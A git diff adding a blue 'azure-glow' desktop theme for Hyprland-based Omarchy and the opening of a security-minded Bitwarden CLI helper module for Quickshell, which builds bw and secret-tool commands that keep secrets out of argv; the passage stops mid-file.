b/omarchy/themes/azure-glow/hyprland.conf new file mode 100644 index 0000000..01479a0 --- /dev/null +++ b/omarchy/themes/azure-glow/hyprland.conf @@ -0,0 +1,4 @@ +general { + col.active_border = rgb(00ccff) rgb(0055ff) 45deg + col.inactive_border = rgb(00334d) +} diff --git a/omarchy/themes/azure-glow/hyprlock.conf b/omarchy/themes/azure-glow/hyprlock.conf new file mode 100644 index 0000000..1728418 --- /dev/null +++ b/omarchy/themes/azure-glow/hyprlock.conf @@ -0,0 +1,109 @@ +$color = rgba(10,10,20,0.9) # Deep abyss blue +$inner_color = rgba(15,25,45,0.8) # Midnight navy +$outer_color = rgba(0,170,255,1.0) # Neon azure +$font_color = rgba(180,220,255,1.0) # Frosted cyan +$check_color = rgba(0,255,255,1.0) # Electric aqua +$fail_color = rgba(0,120,255,1.0) # Alert blue +$input_color = rgba(0,50,80,0.5) # Deep sea shadow + +general { + grace = 0 + hide_cursor = true +} + +background { + monitor = + path = ~/.config/omarchy/themes/azure-glow/backgrounds/background.png + blur_size = 5 + blur_passes = 2 + noise = 0.02 + brightness = 0.85 +} + +label { + monitor = + text = $TIME + color = $font_color + font_size = 64 + font_family = JetBrainsMono Nerd Font Bold + position = 0, 100 + halign = center + valign = center +} + +label { + monitor = + text = ~~~ ~~~ ~~~ + color = $font_color + font_size = 24 + font_family = JetBrainsMono Nerd Font Mono + position = 0, 360 + halign = center + valign = center +} + +label { + monitor = + text = ~~ ~~ ~~ ~~ ~~ ~~ + color = $font_color + font_size = 24 + font_family = JetBrainsMono Nerd Font Mono + position = 0, 355 + halign = center + valign = center +} + +label { + monitor = + text = ~~ ~~ ~~ ~~ ~~ ~~ + color = $font_color + font_size = 24 + font_family = JetBrainsMono Nerd Font Mono + position = 0, 350 + halign = center + valign = center +} + +label { + monitor = + text = ~~ ~~ ~~ ~~ + color = $font_color + font_size = 24 + font_family = JetBrainsMono Nerd Font Mono + position = 0, 345 + halign = center + valign = center +} + +label { + monitor = + text = ~~ ~~ ~~ ~~ ~~ ~~ + color = $font_color + font_size = 24 + font_family = JetBrainsMono Nerd Font Mono + position = 0, 340 + halign = center + valign = center +} + +label { + monitor = + text = ~~ ~~ ~~ ~~ ~~ ~~ + color = $font_color + font_size = 24 + font_family = JetBrainsMono Nerd Font Mono + position = 0, 335 + halign = center + valign = center +} + +label { + monitor = + text = ~~~ ~~~ ~~~ + color = $font_color + font_size = 24 + font_family = JetBrainsMono Nerd Font Mono + position = 0, 330 + halign = center + valign = center +} diff --git a/omarchy/themes/azure-glow/icons.theme b/omarchy/themes/azure-glow/icons.theme new file mode 100644 index 0000000..6ce2f14 --- /dev/null +++ b/omarchy/themes/azure-glow/icons.theme @@ -0,0 +1 @@ +Yaru-blue diff --git a/omarchy/themes/azure-glow/mako.ini b/omarchy/themes/azure-glow/mako.ini new file mode 100644 index 0000000..8a4aca3 --- /dev/null +++ b/omarchy/themes/azure-glow/mako.ini @@ -0,0 +1,30 @@ +text-color=#B3E5FC +border-color=#40C4FF +background-color=#0A0E14ee +progress-color=#00B0FF + +font=Liberation Sans 11 +width=420 +height=110 +padding=10 +border-size=2 +border-radius=5 +anchor=top-right +default-timeout=5000 + +[urgency=low] +border-color=#80D8FF + +[urgency=normal] +border-color=#40C4FF + +[urgency=high] +border-color=#00B0FF +background-color=#10293Fee +text-color=#E1F5FE + +[app-name=Spotify] +invisible=1 + +[mode=do-not-disturb] +invisible=1 diff --git a/omarchy/themes/azure-glow/neovim.lua b/omarchy/themes/azure-glow/neovim.lua new file mode 100644 index 0000000..953db9e --- /dev/null +++ b/omarchy/themes/azure-glow/neovim.lua @@ -0,0 +1,80 @@ +-- Azure Glow NVIM Config + +return { + { + "LazyVim/LazyVim", + opts = { + colorscheme = function() + -- Azure Glow Colorscheme +local colors = { + bg = "#0A0E14", -- Deep midnight + fg = "#E6F0FF", -- Soft icy white + primary = "#64B5F6", -- Vivid sky blue + secondary = "#00CFFF", -- Electric cyan + success = "#4DD0E1", -- Bright aqua + danger = "#2979FF", -- Intense azure + warning = "#81D4FA", -- Soft light blue + info = "#00E5FF", -- Neon cyan + light = "#B3E5FC", -- Pale baby blue + dark = "#041019", -- Deeper midnight + muted = "#355A66", -- Stormy teal +} + +vim.cmd("highlight clear") +vim.cmd("set termguicolors") + +vim.api.nvim_set_hl(0, "Normal", { fg = colors.fg, bg = colors.bg }) +vim.api.nvim_set_hl(0, "Comment", { fg = colors.muted, italic = true }) +vim.api.nvim_set_hl(0, "Constant", { fg = colors.secondary }) +vim.api.nvim_set_hl(0, "String", { fg = colors.success }) +vim.api.nvim_set_hl(0, "Character", { fg = colors.success }) +vim.api.nvim_set_hl(0, "Number", { fg = colors.warning }) +vim.api.nvim_set_hl(0, "Boolean", { fg = colors.primary, bold = true }) +vim.api.nvim_set_hl(0, "Float", { fg = colors.warning }) +vim.api.nvim_set_hl(0, "Identifier", { fg = colors.info }) +vim.api.nvim_set_hl(0, "Function", { fg = colors.primary, bold = true }) +vim.api.nvim_set_hl(0, "Statement", { fg = colors.danger, bold = true }) +vim.api.nvim_set_hl(0, "Conditional", { fg = colors.danger }) +vim.api.nvim_set_hl(0, "Repeat", { fg = colors.secondary }) +vim.api.nvim_set_hl(0, "Label", { fg = colors.secondary }) +vim.api.nvim_set_hl(0, "Operator", { fg = colors.fg }) +vim.api.nvim_set_hl(0, "Keyword", { fg = colors.primary, bold = true }) +vim.api.nvim_set_hl(0, "Exception", { fg = colors.danger }) +vim.api.nvim_set_hl(0, "PreProc", { fg = colors.secondary }) +vim.api.nvim_set_hl(0, "Include", { fg = colors.primary }) +vim.api.nvim_set_hl(0, "Define", { fg = colors.primary }) +vim.api.nvim_set_hl(0, "Macro", { fg = colors.warning }) +vim.api.nvim_set_hl(0, "PreCondit", { fg = colors.secondary }) +vim.api.nvim_set_hl(0, "Type", { fg = colors.info }) +vim.api.nvim_set_hl(0, "StorageClass", { fg = colors.info }) +vim.api.nvim_set_hl(0, "Structure", { fg = colors.secondary }) +vim.api.nvim_set_hl(0, "Typedef", { fg = colors.secondary }) +vim.api.nvim_set_hl(0, "Special", { fg = colors.warning }) +vim.api.nvim_set_hl(0, "SpecialChar", { fg = colors.warning }) +vim.api.nvim_set_hl(0, "Tag", { fg = colors.info }) +vim.api.nvim_set_hl(0, "Delimiter", { fg = colors.fg }) +vim.api.nvim_set_hl(0, "SpecialComment",{ fg = colors.muted }) +vim.api.nvim_set_hl(0, "Debug", { fg = colors.danger }) + +-- UI Elements +vim.api.nvim_set_hl(0, "CursorLine", { bg = "#0F141C" }) +vim.api.nvim_set_hl(0, "CursorLineNr", { fg = colors.primary, bold = true }) +vim.api.nvim_set_hl(0, "LineNr", { fg = colors.muted }) +vim.api.nvim_set_hl(0, "Visual", { bg = "#123C56" }) +vim.api.nvim_set_hl(0, "Search", { fg = colors.bg, bg = colors.primary }) +vim.api.nvim_set_hl(0, "IncSearch", { fg = colors.bg, bg = colors.secondary }) +vim.api.nvim_set_hl(0, "Pmenu", { fg = colors.fg, bg = "#0E1620" }) +vim.api.nvim_set_hl(0, "PmenuSel", { fg = colors.bg, bg = colors.primary }) +vim.api.nvim_set_hl(0, "StatusLine", { fg = colors.fg, bg = "#0E1620" }) +vim.api.nvim_set_hl(0, "StatusLineNC", { fg = colors.muted, bg = "#0E1620" }) +vim.api.nvim_set_hl(0, "VertSplit", { fg = colors.dark }) +vim.api.nvim_set_hl(0, "Title", { fg = colors.primary, bold = true }) +vim.api.nvim_set_hl(0, "ErrorMsg", { fg = colors.bg, bg = colors.danger, bold = true }) +vim.api.nvim_set_hl(0, "WarningMsg", { fg = colors.bg, bg = colors.warning }) +vim.api.nvim_set_hl(0, "MoreMsg", { fg = colors.success }) +vim.api.nvim_set_hl(0, "ModeMsg", { fg = colors.primary, bold = true }) + + end, + }, + }, +} diff --git a/omarchy/themes/azure-glow/swayosd.css b/omarchy/themes/azure-glow/swayosd.css new file mode 100644 index 0000000..6053198 --- /dev/null +++ b/omarchy/themes/azure-glow/swayosd.css @@ -0,0 +1,45 @@ +@define-color background-color #0A0E14ee; /* Deep midnight blue with transparency */ +@define-color border-color #40C4FF; /* Bright sky blue */ +@define-color label #B3E5FC; /* Soft glowing cyan */ +@define-color image #B3E5FC; /* Soft glowing cyan */ +@define-color progress #00B0FF; /* Rich azure */ + +window { + background: @background-color; + border: 2px solid @border-color; + border-radius: 10px; +} + +#container { + padding: 15px; +} + +#image { + color: @image; + font-size: 48px; +} + +#label { + color: @label; + font-family: "JetBrainsMono Nerd Font"; + font-size: 14px; + font-weight: bold; + margin: 10px 0; +} + +progressbar { + background: rgba(27, 42, 58, 0.5); + border-radius: 5px; + min-height: 10px; +} + +progressbar > trough { + background: rgba(27, 42, 58, 0.5); + border-radius: 5px; +} + +progressbar > trough > progress { + background: linear-gradient(90deg, @progress, @border-color); + border-radius: 5px; + box-shadow: 0 0 10px rgba(64, 196, 255, 0.3); +} diff --git a/omarchy/themes/azure-glow/walker.css b/omarchy/themes/azure-glow/walker.css new file mode 100644 index 0000000..59f688c --- /dev/null +++ b/omarchy/themes/azure-glow/walker.css @@ -0,0 +1,72 @@ +@define-color selected-text #40C4FF; /* Bright sky blue */ +@define-color text #B3E5FC; /* Soft glowing cyan */ +@define-color base #0A0E14; /* Deep midnight blue */ +@define-color surface #081018; /* Abyssal navy */ +@define-color overlay #1B2A3A; /* Dim steel blue */ +@define-color muted #4DD0E1; /* Lively aqua */ +@define-color subtle #00B0FF; /* Rich azure */ +@define-color border #40C4FF; /* Bright sky blue */ + +* { + font-family: "JetBrainsMono Nerd Font"; +} + +#window { + background: rgba(10, 14, 20, 0.95); + border: 2px solid @border; + border-radius: 10px; +} + +#box { + padding: 20px; +} + +#search { + background: @surface; + border: 2px solid @border; + border-radius: 5px; + padding: 10px; + color: @text; + font-size: 14px; +} + +#search:focus { + border-color: @selected-text; + box-shadow: 0 0 10px rgba(64, 196, 255, 0.5); +} + +#list { + margin-top: 10px; +} + +#entry { + padding: 10px; + margin: 5px 0; + background: @surface; + border-radius: 5px; + color: @text; +} + +#entry:hover { + background: @overlay; + border-left: 3px solid @subtle; +} + +#entry:selected { + background: linear-gradient(90deg, rgba(64, 196, 255, 0.2), rgba(0, 176, 255, 0.2)); + border-left: 3px solid @selected-text; + color: @selected-text; +} + +#entry #icon { + margin-right: 10px; +} + +#entry #name { + font-weight: bold; +} + +#entry #description { + color: @muted; + font-size: 12px; +} diff --git a/omarchy/themes/azure-glow/waybar.css b/omarchy/themes/azure-glow/waybar.css new file mode 100644 index 0000000..9db91c4 --- /dev/null +++ b/omarchy/themes/azure-glow/waybar.css @@ -0,0 +1,93 @@ +@define-color foreground #B3E5FC; /* Soft glowing cyan */ +@define-color background #0A0E14; /* Deep midnight blue */ +@define-color primary #40C4FF; /* Bright sky blue */ +@define-color secondary #00B0FF; /* Rich azure */ +@define-color success #00E5FF; /* Electric cyan */ +@define-color danger #FF5252; /* Alert red */ +@define-color warning #FFD740; /* Vibrant yellow */ +@define-color info #82B1FF; /* Cool periwinkle */ +@define-color light #E6F0FF; /* Frost white */ +@define-color dark #081018; /* Abyssal navy */ +@define-color muted #1B2A3A; /* Dim steel blue */ + +* { + font-family: "JetBrainsMono Nerd Font", monospace; + font-size: 13px; + min-height: 0; +} + +window#waybar { + background: rgba(10, 14, 20, 0.9); + color: @foreground; + border-bottom: 2px solid @primary; +} + +#workspaces button { + padding: 0 5px; + background: transparent; + color: @muted; + border-bottom: 3px solid transparent; +} + +#workspaces button.active { + background: rgba(64, 196, 255, 0.1); + color: @primary; + border-bottom: 3px solid @primary; +} + +#workspaces button:hover { + background: rgba(0, 176, 255, 0.2); + color: @secondary; +} + +#cpu, #memory, #temperature, #network, #pulseaudio, #battery, #clock { + padding: 0 10px; + color: @foreground; +} + +#cpu { + color: @secondary; +} + +#memory { + color: @warning; +} + +#temperature { + color: @danger; +} + +#temperature.critical { + background: @danger; + color: @background; +} + +#network { + color: @info; +} + +#pulseaudio { + color: @primary; +} + +#battery { + color: @success; +} + +#battery.critical:not(.charging) { + background: @danger; + color: @background; + animation: blink 0.5s linear infinite alternate; +} + +#clock { + color: @light; + font-weight: bold; +} + +@keyframes blink { + to { + background-color: @background; + color: @danger; + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/BitwardenModel.js b/plugins/io.github.elevate08.qs-bitwarden-cli/BitwardenModel.js new file mode 100644 index 0000000..4a86eb5 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/BitwardenModel.js @@ -0,0 +1,6062 @@ +// BitwardenModel.js — Helper module for Bitwarden plugin. +// Pure JavaScript: CLI command constructors, output parsers, filtering, and CRUD builders. + +.pragma library + +const KEYRING_SERVICE = "qs-bitwarden-cli" +const KEYRING_ACCOUNT = "session" +const KEYRING_MASTER = "master_password" + +// `secret-tool store` reads its secret from stdin until EOF, and Quickshell's +// Process.write() cannot close stdin -- writing a value alone leaves the process +// hanging forever and nothing is ever stored. So the secret is handed over in +// the environment (readable only by this user, same exposure as the BW_PASSWORD +// env var already used for `bw unlock`) and piped in by a shell that supplies +// the EOF. Never pass secrets in argv: that is world-readable in /proc. +const KEYRING_SECRET_ENV = "QSBW_SECRET" +const KEYRING_PIN = "pin_blob" +const PIN_ENV = "QSBW_PIN" + +// PBKDF2 rounds for PIN unlock. Matches Bitwarden's own default and measures +// at ~300ms here -- unnoticeable once, punishing a few million times over. +const PIN_ITERATIONS = 600000 + +// Two thresholds, because the arithmetic is unforgiving and the choice is +// still the user's. Six digits is what we ask for: 10^6 candidates against +// 600k PBKDF2 rounds is a real cost to an attacker holding the ciphertext. +// Four is 10,000 candidates -- minutes of offline work -- so it is allowed but +// called out in red rather than quietly accepted. +const PIN_MIN_LENGTH = 4 +const PIN_RECOMMENDED_LENGTH = 6 + +function keyringSecretEnvVar() { + return KEYRING_SECRET_ENV +} + +function keyringAttributes(account) { + return " service " + shellQuote(KEYRING_SERVICE) + " account " + shellQuote(account) +} + +function keyringStoreScript(label, account) { + return "printf '%s' \"$" + KEYRING_SECRET_ENV + "\" | secret-tool store --label=" + shellQuote(label) + + keyringAttributes(account) +} + +function keyringLookupEntryCommand(account) { + // secret-tool prints a newline after the stored value. Strip only that + // transport delimiter: QML's String.trim() would also corrupt legitimate + // leading or trailing spaces in a master password or client secret. + var script = "stored=$(secret-tool lookup" + keyringAttributes(account) + + " 2>/dev/null | head -c " + MAX_TOKEN_BYTES + "); " + + "__lookup_rc=$?; [ \"$__lookup_rc\" -eq 0 ] || exit \"$__lookup_rc\"; " + + "printf '%s' \"$stored\"" + return ["bash", "-c", cappedScript(script)] +} + +function keyringClearEntryCommand(account) { + return ["secret-tool", "clear", "service", KEYRING_SERVICE, "account", account] +} + +function keyringHasEntryCommand(account) { + var script = "if secret-tool lookup" + keyringAttributes(account) + + " >/dev/null 2>&1; then echo yes; else echo no; fi" + return ["bash", "-c", script] +} + +function shellQuote(value) { + return "'" + String(value || "").replace(/'/g, "'\\''") + "'" +} + +// The session token is never put on a command line. /proc//cmdline is +// world-readable on a default Linux install, and the token grants full access +// to the unlocked vault. It travels in BW_SESSION instead, which bw reads +// natively; see sessionEnvVar() and the callers that set it. +const SESSION_ENV = "BW_SESSION" + +// The same reasoning applies to the credentials that unlock the vault in the +// first place, and bw reads all three of these natively: BW_PASSWORD via +// --passwordenv, BW_CLIENTID and BW_CLIENTSECRET on `login --apikey`. So the +// master password and API key reach bw without appearing in any argv -- not +// bw's, and not the wrapping shell's. The builders below interpolate nothing +// secret into the script text; see authEnv() in Panel.qml for the values. +const PASSWORD_ENV = "BW_PASSWORD" +const CLIENT_ID_ENV = "BW_CLIENTID" +const CLIENT_SECRET_ENV = "BW_CLIENTSECRET" + +// The one credential that cannot follow that rule: bw offers no environment +// option for the two-step code, so --code is the only way in and the code does +// land in bw's own argv. Carrying it in the environment still keeps it out of +// the wrapping shell's argv, which lives for the whole login chain rather than +// just the login process. A six-digit code is single-use and expires in +// seconds, which is why this residue is acceptable where a password would not +// be. +const TWOFACTOR_CODE_ENV = "QSBW_CODE" + +// bw prompts on a tty it does not have here, so every auth command runs with +// interaction disabled and fails fast instead of hanging. The one exception is +// deviceVerificationLoginCommand(), which keeps the same guarantee by other +// means -- see the comment there. +const NOINTERACTION_ENV = "BW_NOINTERACTION" +// Bitwarden's SSH documentation names 2025.1.2 as the first supported +// release. Keep the ordinary vault usable on older CLI builds, but do not +// advertise SSH support from them. +const SSH_CLI_MIN_VERSION = "2025.1.2" +// Bitwarden CLI releases before this one throw on SSH key items whose +// decrypted public fields are absent, and the throw takes the whole +// `bw list items` read with it. The panel cannot repair that, but it can name +// the release that fixes it instead of leaving the user with a bare failure. +const SSH_MALFORMED_ITEM_FIX_VERSION = "2026.8.0" + +// The new-device verification code. Like the two-step code it is single-use +// and short-lived, and unlike it, it never reaches an argv at all: it is read +// out of the environment by a printf inside the command and piped to bw. +const DEVICE_CODE_ENV = "QSBW_DEVICE_CODE" + +function sessionEnvVar() { + return SESSION_ENV +} + +function passwordEnvVar() { + return PASSWORD_ENV +} + +function clientIdEnvVar() { + return CLIENT_ID_ENV +} + +function clientSecretEnvVar() { + return CLIENT_SECRET_ENV +} + +function twoFactorCodeEnvVar() { + return TWOFACTOR_CODE_ENV +} + +function noInteractionEnvVar() { + return NOINTERACTION_ENV +} + +function sshCliMinVersion() { + return SSH_CLI_MIN_VERSION +} + +function deviceCodeEnvVar() { + return DEVICE_CODE_ENV +} + +// Limits on stdout and stderr streams collected into the shell's memory space. +// Producer-side caps (via `head -c`) prevent unbounded buffering in QML StdioCollector. +var MAX_ITEMS_BYTES = 16 * 1024 * 1024 // 16 MB: large vault item list +var MAX_DETAIL_BYTES = 4 * 1024 * 1024 // 4 MB: single item with custom fields & notes +var MAX_SENDS_BYTES = 8 * 1024 * 1024 // 8 MB: send list +var MAX_COLLECTIONS_BYTES = 2 * 1024 * 1024 // 2 MB: org collections +var MAX_FOLDERS_BYTES = 2 * 1024 * 1024 // 2 MB: folder list +var MAX_ORGS_BYTES = 2 * 1024 * 1024 // 2 MB: organizations list +var MAX_STATUS_BYTES = 64 * 1024 // 64 KB: status json +var MAX_TOKEN_BYTES = 4096 // 4 KB: session token / password / TOTP +var MAX_HANDOFF_BYTES = 4096 // 4 KB: session handoff file +var MAX_ASSOC_BYTES = 1024 * 1024 // 1 MB: learned associations file +var MAX_STDERR_BYTES = 8192 // 8 KB: diagnostic stderr output +var MAX_MISC_BYTES = 64 * 1024 // 64 KB: create/edit/delete responses + +// Attachment bytes go to disk rather than into the shell's memory, so the +// ceilings that matter there are the size of the file itself, how long the +// transfer may run, and leaving the disk with room to spare afterwards. +var MAX_ATTACHMENT_BYTES = 512 * 1024 * 1024 // 512 MB: Bitwarden's own per-file ceiling +var ATTACHMENT_TIMEOUT_SECS = 900 // 15 min: a stalled transfer must not hold the queue +var ATTACHMENT_FREE_SLACK_BYTES = 64 * 1024 * 1024 // 64 MB: never fill the disk to the last byte + +// `head -c` closes the pipe the moment the cap is reached, so a capped pipeline +// exits with head's status -- success -- and every bw failure behind it would be +// reported to the panel as a success. `pipefail` puts the producer's status back. +// The one status it must not forward is 141: that is the SIGPIPE the cap itself +// delivers when it truncates an oversized but otherwise healthy stream, which is +// the limit doing its job rather than the command failing. +function cappedScript(script, maxStderrBytes) { + var out = "" + if (maxStderrBytes) { + out += "exec 2> >(head -c " + Number(maxStderrBytes) + " >&2); " + } + out += "set -o pipefail; " + script + // `case` rather than `[ ... ] && ...`, which reports failure on no match and + // would trip `set -e` in the scripts that use it. + out += "\n__rc=$?\ncase \"$__rc\" in 141) __rc=0 ;; esac\nexit \"$__rc\"" + return out +} + +// Every id below is the server's to choose, and quoting it defends against the +// shell rather than against bw's own option parser -- `bw get item --help` +// prints help rather than looking anything up. `--` ends the options, so an id +// shaped like a flag is read as the id it is. Flags that belong to us go before +// it, since everything after it is a positional. +function buildCappedCommand(args, maxStdoutBytes, maxStderrBytes) { + var inner = "bw" + if (args && args.length > 0) { + for (var i = 0; i < args.length; i++) { + var arg = String(args[i]) + if (/^[a-zA-Z0-9_\-\.\/]+$/.test(arg)) { + inner += " " + arg + } else { + inner += " " + shellQuote(arg) + } + } + } + if (maxStdoutBytes) { + inner += " | head -c " + Number(maxStdoutBytes) + } + return ["bash", "-c", cappedScript(inner, maxStderrBytes)] +} + +// A bw session key is base64: 88 characters for the 64 bytes bw mints. Only +// something shaped like one is accepted, and anything else yields "" rather +// than the raw input. +// +// The old last-resort `return s` meant any non-empty text became a "session": +// a bw error message, or whatever happened to be sitting in the handoff file, +// would be written to the keyring and the panel would declare itself unlocked +// on the strength of it. Both callers already treat "" as failure. +var SESSION_TOKEN_RE = /^[A-Za-z0-9+/=_-]{32,}$/ + +function isSessionToken(value) { + return SESSION_TOKEN_RE.test(String(value || "").trim()) +} + +function extractSessionToken(raw) { + var s = String(raw || "").trim() + + // `export BW_SESSION="..."`, which is what bw prints without --raw. + var match = s.match(/BW_SESSION="?([^"\n\r]+)"?/) + if (match && match[1] && isSessionToken(match[1])) { + return match[1].trim() + } + + // --raw prints the key alone, but stray output can share the stream. + var lines = s.split("\n") + for (var i = 0; i < lines.length; i++) { + var line = lines[i].trim() + if (isSessionToken(line)) { + return line + } + } + return "" +} + +// ------------------------------------------------------------------------- +// Vault generation +// ------------------------------------------------------------------------- +// +// Nothing cancels a `bw` that is already running. By the time the panel locks +// the vault, a `bw list items` started a second earlier is long past the point +// where the session mattered: it will finish, print the whole vault, and the +// completion handler will put it back into a panel that has just thrown it +// away. The list carries each login's password in its raw object, so the +// contents of a vault the user had just locked went on living in the shell for +// the rest of the desktop session -- and a logout followed by a login to a +// second account showed the first account's items until the new list landed, +// close enough to copy from. +// +// So every reader records the vault generation it started under, and the +// generation moves on whenever the vault changes hands: locked, logged out of, +// unlocked again. A result from a previous generation is discarded rather than +// rendered. Exit status is no help here -- the command genuinely succeeded; +// the vault it succeeded against is the thing that is gone. +function vaultReadIsStale(startedEpoch, currentEpoch, hasSession) { + if (!hasSession) return true + return Number(startedEpoch) !== Number(currentEpoch) +} + +// ------------------------------------------------------------------------- +// Collector scrubbing +// ------------------------------------------------------------------------- +// +// Refusing a stale answer is not the same as forgetting it. A StdioCollector +// keeps whatever its process last printed for as long as that process is not +// started again -- `text` is read-only, there is no clear(), and nothing in +// Quickshell drops the buffer when the panel stops reading it. So every secret +// that has ever come back through a pipe is still in the shell process after +// the vault locks: the session key from the handoff file and from the keyring, +// the master password from the PIN and fingerprint lookups, both halves of a +// login or unlock, the whole item list with each login's password in its raw +// object, an item detail, a live TOTP. dropVaultSecrets() empties the QML +// properties those values were copied into and leaves the originals sitting +// behind them, which for a shell that lives as long as the desktop session is +// the residue it exists to prevent. +// +// The buffer IS replaced when the process next starts, so the way to empty one +// is to run something through it that prints nothing. That command doubles as +// the marker for the run: a handler that finds it on its own process knows the +// empty string it just received is a scrub rather than an answer, so nothing +// needs a flag whose lifetime someone has to get right. +var SCRUB_COMMAND = ["bash", "-c", ""] + +function scrubCommand() { + return SCRUB_COMMAND.slice() +} + +function isScrubCommand(cmd) { + if (!cmd || Number(cmd.length) !== SCRUB_COMMAND.length) return false + for (var i = 0; i < SCRUB_COMMAND.length; i++) { + if (String(cmd[i]) !== SCRUB_COMMAND[i]) return false + } + return true +} + +// How often the panel comes back for a process that was still running when the +// vault locked. Its buffer cannot be scrubbed while it is being written. There +// is deliberately no retry limit: a process that exits late can otherwise +// leave its final output resident until an unrelated future run that may never +// happen. +var SCRUB_RETRY_MS = 1000 + +function scrubRetryMs() { return SCRUB_RETRY_MS } + +// One pass over the scrub queue. Returns what to do with each process and what +// is left to come back for, so the walk itself can be tested without a running +// shell: `start` is scrubbed now, `waiting` is asked again next tick, and +// anything in neither is done and drops out of the queue. +// +// A process that is running is left alone -- stomping its command mid-flight +// would abandon a read the panel is still waiting on -- and one already +// carrying the scrub command has been scrubbed and needs nothing further. +function scrubPass(procs) { + var start = [] + var waiting = [] + for (var i = 0; i < (procs || []).length; i++) { + var p = procs[i] + if (!p) continue + if (p.running) { waiting.push(p); continue } + if (isScrubCommand(p.command)) continue + start.push(p) + waiting.push(p) + } + return { start: start, waiting: waiting } +} + +// Record completion before a handler is allowed to reuse the Process. The +// command property describes the newest run, so inspecting it on the next +// timer tick cannot prove that an earlier scrub finished. +function finishScrub(procs, finished) { + var remaining = [] + for (var i = 0; i < (procs || []).length; i++) { + if (procs[i] && procs[i] !== finished) remaining.push(procs[i]) + } + return remaining +} + +// ------------------------------------------------------------------------- +// CLI Commands +// ------------------------------------------------------------------------- + +function statusCommand() { + return buildCappedCommand(["status"], MAX_STATUS_BYTES) +} + +// ------------------------------------------------------------------------- +// Authentication prewarming +// ------------------------------------------------------------------------- +// +// Starting the bw process is a substantial part of unlock/login latency. A +// password FIFO lets bw complete that bootstrap while the user is still +// typing: bw opens the FIFO through --passwordfile and waits there, then the +// panel writes the password only after explicit submission. +// +// The FIFOs live in XDG_RUNTIME_DIR (private tmpfs owned by this login), never +// in /tmp or the plugin directory. Each command removes its FIFO on every exit +// path. There is deliberately one fixed FIFO per auth flow: the panel owns one +// Process for each and never runs two attempts of the same kind concurrently. +var RUNTIME_SUBDIR = "qs-bitwarden-cli" + +function authPasswordFifoName(channel) { + if (channel === "unlock") return "unlock-password.fifo" + if (channel === "login") return "login-password.fifo" + return "" +} + +function supervisedProcessPrelude(cleanupCommand) { + var script = "__auth_job=''; " + script += "__auth_cleanup() { trap - EXIT HUP INT TERM; " + script += "if [ -n \"${__auth_job:-}\" ]; then " + script += "kill -TERM -- \"-$__auth_job\" 2>/dev/null || true; " + script += "wait \"$__auth_job\" 2>/dev/null || true; fi; " + if (cleanupCommand) script += cleanupCommand + "; " + script += "}; " + script += "trap '__auth_cleanup' EXIT; " + script += "trap '__auth_cleanup; exit 143' HUP INT TERM; " + return script +} + +function authFifoPrelude(channel) { + var fifoName = authPasswordFifoName(channel) + if (!fifoName) return "" + + // Check an existing directory before using it so a symlink cannot redirect + // the FIFO outside the per-login runtime directory. XDG_RUNTIME_DIR itself is + // supplied and protected by the login manager; absence is a hard failure. + var script = "test -n \"${XDG_RUNTIME_DIR:-}\" || exit 1; " + script += "__auth_dir=\"$XDG_RUNTIME_DIR/" + RUNTIME_SUBDIR + "\"; " + script += "if [ -e \"$__auth_dir\" ]; then " + script += "[ -d \"$__auth_dir\" ] && [ ! -L \"$__auth_dir\" ] || exit 1; " + script += "else (umask 077 && mkdir -- \"$__auth_dir\") || exit 1; fi; " + script += "chmod 700 -- \"$__auth_dir\" || exit 1; " + script += "__auth_fifo=\"$__auth_dir/" + fifoName + "\"; " + script += "rm -f -- \"$__auth_fifo\"; " + script += "mkfifo -m 600 -- \"$__auth_fifo\" || exit 1; " + // QProcess terminates only this wrapper. Run bw and its output cap as a + // separate process group so a cancelled panel can stop the FIFO-blocked + // child immediately instead of leaving it orphaned behind the shell. + script += supervisedProcessPrelude("rm -f -- \"$__auth_fifo\"") + return script +} + +function supervisedProcessCommand(command) { + var script = supervisedProcessPrelude("") + script += supervisedProcessRun(command) + return ["bash", "-c", script] +} + +function supervisedProcessRun(command) { + // Disarm the EXIT cleanup after a normal wait. Otherwise the trap sends a + // redundant signal to a process-group ID that has already been reaped and + // could, in the tiny gap before shell exit, have been reused. + var script = "set -m; (" + cappedScript(command, MAX_STDERR_BYTES) + ") & " + script += "__auth_job=$!; wait \"$__auth_job\"; __auth_rc=$?; " + script += "__auth_job=''; exit \"$__auth_rc\"" + return script +} + +function supervisedAuthCommand(channel, command) { + var script = authFifoPrelude(channel) + // `set -m` gives the background subshell its own process group. The wrapper + // then waits with bash's interruptible `wait` builtin, allowing the signal + // traps above to run immediately even while bw is blocked opening the FIFO. + script += supervisedProcessRun(command) + return ["bash", "-c", script] +} + +function unlockPrewarmCommand() { + var command = "bw unlock --passwordfile \"$__auth_fifo\" --raw | head -c " + MAX_TOKEN_BYTES + return supervisedAuthCommand("unlock", command) +} + +// The two-step methods bw is able to use, in the order bw itself lists them. +// This is the whole set, not a selection from it: getSupportedProviders() +// offers Duo and Organization Duo only if supportsDuo() and WebAuthn only if +// supportsWebAuthn(), and the CLI's platform layer returns false for both, so +// whatever an account has configured, the providers bw can act on are always a +// subset of these three. A picker over them is therefore complete, which +// matters because bw exposes no way to ask which ones an account actually has: +// it keeps that list in a "memory" StateDefinition that dies with the process, +// `bw serve` has no login route, and no flag reports it. +var TWO_FACTOR_METHODS = [ + { method: 0, label: "Authenticator app", + hint: "The rotating 6-digit code from your authenticator." }, + { method: 3, label: "YubiKey OTP", + hint: "Touch the key to type its one-time password." }, + { method: 1, label: "Email", + hint: "Bitwarden sends a code to your login address when you choose this." } +] + +function twoFactorMethods() { + var out = [] + for (var i = 0; i < TWO_FACTOR_METHODS.length; i++) { + var entry = {} + for (var k in TWO_FACTOR_METHODS[i]) entry[k] = TWO_FACTOR_METHODS[i][k] + out.push(entry) + } + return out +} + +// --method is the one part of the login command that is neither quoted nor +// carried in the environment, because bw wants a bare integer. Nothing outside +// this table may reach it, so membership -- not shape -- is the test. +function isTwoFactorMethod(method) { + for (var i = 0; i < TWO_FACTOR_METHODS.length; i++) { + if (TWO_FACTOR_METHODS[i].method === method) return true + } + return false +} + +function twoFactorMethodLabel(method) { + for (var i = 0; i < TWO_FACTOR_METHODS.length; i++) { + if (TWO_FACTOR_METHODS[i].method === method) return TWO_FACTOR_METHODS[i].label + } + return "" +} + +// Two-step methods belong to an account, not to a machine. A single remembered +// method was wrong for anyone with more than one vault: signing into the second +// account sent the first account's method, which that account rejects, and the +// stale-method recovery then spent a round trip discovering it. Keyed by email, +// each account answers the question once and keeps its own answer. +var 